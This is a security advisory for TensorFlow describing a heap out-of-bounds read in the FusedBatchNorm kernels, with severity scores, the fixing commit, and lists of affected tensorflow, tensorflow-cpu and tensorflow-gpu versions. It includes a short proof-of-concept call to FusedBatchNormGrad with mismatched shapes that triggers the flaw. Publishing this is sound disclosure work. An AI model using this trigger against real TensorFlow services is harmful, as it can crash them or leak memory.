GHSA-f54p-f6jp-4rhr

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Source
https://github.com/advisories/GHSA-f54p-f6jp-4rhr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/11/GHSA-f54p-f6jp-4rhr/GHSA-f54p-f6jp-4rhr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-f54p-f6jp-4rhr
Aliases
Published
2021-11-10T18:46:52Z
Modified
2024-11-13T22:25:17.561590Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H CVSS Calculator
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Heap OOB in `FusedBatchNorm` kernels
Details

Impact

The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB:

import tensorflow as tf

tf.raw_ops.FusedBatchNormGrad(
  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
  scale=[1,1],
  reserve_space_1=[1,1],
  reserve_space_2=[1,1,1],
  epsilon=1.0,
  data_format='NCHW',
  is_training=True) 

Patches

We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Database specific
{
    "nvd_published_at": "2021-11-05T21:15:00Z",
    "cwe_ids": [
        "CWE-125"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-08T21:57:41Z"
}
References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.6.0
Fixed
2.6.1

Affected versions

2.*

2.6.0

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.2

Affected versions

2.*

2.5.0
2.5.1

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.4.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.6.0
Fixed
2.6.1

Affected versions

2.*

2.6.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.2

Affected versions

2.*

2.5.0
2.5.1

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.4.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.6.0
Fixed
2.6.1

Affected versions

2.*

2.6.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.2

Affected versions

2.*

2.5.0
2.5.1

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.4.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3